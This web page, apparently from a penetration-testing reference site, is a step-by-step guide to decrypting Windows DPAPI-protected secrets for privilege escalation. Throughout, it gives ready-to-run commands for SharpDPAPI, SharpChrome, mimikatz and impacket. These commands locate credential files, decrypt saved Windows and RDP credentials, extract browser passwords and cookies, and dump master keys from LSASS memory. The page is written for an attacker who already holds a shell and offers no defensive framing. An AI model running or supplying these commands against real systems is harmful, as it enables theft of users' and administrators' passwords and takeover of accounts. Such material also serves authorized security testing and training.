Skip to content
HackIndex logo

HackIndex

DPAPI Credential Decryption for Privilege Escalation

3 min read Jul 10, 2026

Windows Data Protection API (DPAPI) encrypts sensitive data — browser passwords, RDP saved credentials, application secrets, and WiFi keys — tied to the user's logon session. If you have a shell as the user who encrypted the data (or as SYSTEM), you can decrypt it without knowing the master key password. Decrypted credentials frequently belong to administrators and provide direct privilege escalation.

Prerequisites Check

DPAPI decryption works in two scenarios:

  1. As the owning user — DPAPI decrypts automatically using the session key

  2. As SYSTEM — you can access the DPAPI master keys for any user

C:\Users\Guest\Desktop> whoami
C:\Users\Guest\Desktop> # If already running as the user whose credentials you want to decrypt = scenario 1
C:\Users\Guest\Desktop> # If SYSTEM = scenario 2, can decrypt any user's data

Finding DPAPI Credential Files

C:\Users\Guest\Desktop> # Windows credential blobs
C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Local\Microsoft\Credentials\ 2>nul
C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Credentials\ 2>nul
 
C:\Users\Guest\Desktop> # DPAPI master keys
C:\Users\Guest\Desktop> dir /s /b C:\Users\*\AppData\Roaming\Microsoft\Protect\ 2>nul
 
C:\Users\Guest\Desktop> # Browser credential databases
C:\Users\Guest\Desktop> dir /s /b "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data" 2>nul
C:\Users\Guest\Desktop> dir /s /b "C:\Users\*\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" 2>nul

SharpDPAPI — Automated Decryption

SharpDPAPI from GhostPack is the most comprehensive DPAPI tool:

As the current user (decrypt your own credentials):

C:\Users\Guest\Desktop> # Decrypt all credential files
C:\Users\Guest\Desktop> .\SharpDPAPI.exe credentials
 
C:\Users\Guest\Desktop> # Decrypt browser passwords
C:\Users\Guest\Desktop> .\SharpDPAPI.exe logins
 
C:\Users\Guest\Desktop> # Decrypt all DPAPI blobs
C:\Users\Guest\Desktop> .\SharpDPAPI.exe blob /target:C:\Users\user\AppData\Local\Microsoft\Credentials\CREDFILENAME

As SYSTEM (decrypt any user's credentials):

C:\Users\Guest\Desktop> # Dump and decrypt everything for all users
C:\Users\Guest\Desktop> .\SharpDPAPI.exe credentials /unprotect
 
C:\Users\Guest\Desktop> # Target a specific user
C:\Users\Guest\Desktop> .\SharpDPAPI.exe credentials /target:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\

Download: https://github.com/GhostPack/SharpDPAPI

Mimikatz DPAPI Decryption

C:\Users\Guest\Desktop> # Decrypt credential files (as current user)
C:\Users\Guest\Desktop> .\mimikatz.exe "dpapi::cred /in:C:\Users\user\AppData\Local\Microsoft\Credentials\CREDFILENAME" "exit"
 
C:\Users\Guest\Desktop> # With master key
C:\Users\Guest\Desktop> .\mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\SID\MASTERKEYFILE /rpc" "dpapi::cred /in:CREDFILENAME" "exit"
 
C:\Users\Guest\Desktop> # Decrypt all cached credentials
C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

Browser Password Extraction

Chrome, Edge, and Firefox store passwords encrypted with DPAPI. SharpDPAPI handles these:

C:\Users\Guest\Desktop> # Chrome passwords
C:\Users\Guest\Desktop> .\SharpDPAPI.exe logins
 
C:\Users\Guest\Desktop> # Edge passwords
C:\Users\Guest\Desktop> .\SharpDPAPI.exe logins /target:edge

Or use dedicated tools:

C:\Users\Guest\Desktop> # SharpChrome for Chrome specifically
C:\Users\Guest\Desktop> .\SharpChrome.exe logins
C:\Users\Guest\Desktop> .\SharpChrome.exe cookies

Download: https://github.com/GhostPack/SharpDPAPI (includes SharpChrome)

Extracting Master Keys from Memory (Live Session)

If the user is currently logged in, their DPAPI master keys are cached in LSASS:

C:\Users\Guest\Desktop> # Dump master keys from LSASS (requires SeDebugPrivilege)
C:\Users\Guest\Desktop> .\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

This outputs decrypted master keys. Use them to decrypt any DPAPI blob:

C:\Users\Guest\Desktop> .\mimikatz.exe "dpapi::cred /in:CREDFILENAME /masterkey:MASTERKEYVALUE" "exit"

RDP Saved Credentials

RDP targets saved via Windows Credential Manager are DPAPI-protected:

C:\Users\Guest\Desktop> # List saved RDP connections
C:\Users\Guest\Desktop> cmdkey /list | findstr /i "rdp\|mstsc\|microsoft"
 
C:\Users\Guest\Desktop> # Decrypt via SharpDPAPI
C:\Users\Guest\Desktop> .\SharpDPAPI.exe rdg
 
C:\Users\Guest\Desktop> # Or use SharpDPAPI credentials targeting the RDP credential file
C:\Users\Guest\Desktop> .\SharpDPAPI.exe credentials

Decrypted RDP credentials often contain domain admin passwords saved by an administrator who RDPed to this machine.

Offline DPAPI Decryption

If you have the user's password or NT hash, you can decrypt DPAPI blobs offline without a live session:

┌──(kali㉿kali)-[~]
└─$ # On attack box using impacket
┌──(kali㉿kali)-[~]
└─$ impacket-dpapi masterkey -file MASTERKEYFILE -password "USERPASSWORD"
 
┌──(kali㉿kali)-[~]
└─$ # With hash
┌──(kali㉿kali)-[~]
└─$ impacket-dpapi masterkey -file MASTERKEYFILE -hash :NTHASH

References